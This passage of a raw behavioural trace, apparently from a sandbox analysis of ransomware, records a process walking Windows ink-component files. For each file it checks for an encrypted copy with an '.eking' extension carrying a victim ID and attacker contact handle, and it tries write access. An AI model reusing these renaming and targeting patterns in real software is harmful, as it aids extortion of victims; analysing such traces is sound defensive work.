shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0286.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.711] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=471) returned 1 [0286.711] CloseHandle (hObject=0x2fc) returned 1 [0286.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0286.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0286.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.957] SetEvent (hEvent=0x2a0) returned 1 [0286.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0286.959] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2628) returned 1 [0286.959] CloseHandle (hObject=0x2e4) returned 1 [0286.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0286.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0286.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.304] SetEvent (hEvent=0x2a0) returned 1 [0287.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.305] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2532) returned 1 [0287.305] CloseHandle (hObject=0x2e4) returned 1 [0287.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0287.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0287.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.308] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2518) returned 1 [0287.308] CloseHandle (hObject=0x2e4) returned 1 [0287.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0287.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0287.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.309] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2652) returned 1 [0287.309] CloseHandle (hObject=0x2e4) returned 1 [0287.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0287.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0287.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.311] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2570) returned 1 [0287.311] CloseHandle (hObject=0x2e4) returned 1 [0287.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0287.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0287.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.312] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2526) returned 1 [0287.312] CloseHandle (hObject=0x2e4) returned 1 [0287.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0287.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0287.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.313] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2522) returned 1 [0287.313] CloseHandle (hObject=0x2e4) returned 1 [0287.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0287.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0287.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.315] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2568) returned 1 [0287.315] CloseHandle (hObject=0x2e4) returned 1 [0287.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0287.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0287.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.316] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=41984) returned 1 [0287.316] CloseHandle (hObject=0x2e4) returned 1 [0287.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0287.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0287.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.317] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2626) returned 1 [0287.317] CloseHandle (hObject=0x2e4) returned 1 [0287.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0287.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0287.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.318] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2580) returned 1 [0287.318] CloseHandle (hObject=0x2e4) returned 1 [0287.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0287.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0287.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.319] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2600) returned 1 [0287.319] CloseHandle (hObject=0x2e4) returned 1 [0287.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0287.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0287.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.320] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=125952) returned 1 [0287.320] CloseHandle (hObject=0x2e4) returned 1 [0287.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0287.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0287.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.321] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2246) returned 1 [0287.321] CloseHandle (hObject=0x2e4) returned 1 [0287.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0287.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0287.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.322] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2240) returned 1 [0287.322] CloseHandle (hObject=0x2e4) returned 1 [0287.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0287.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0287.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 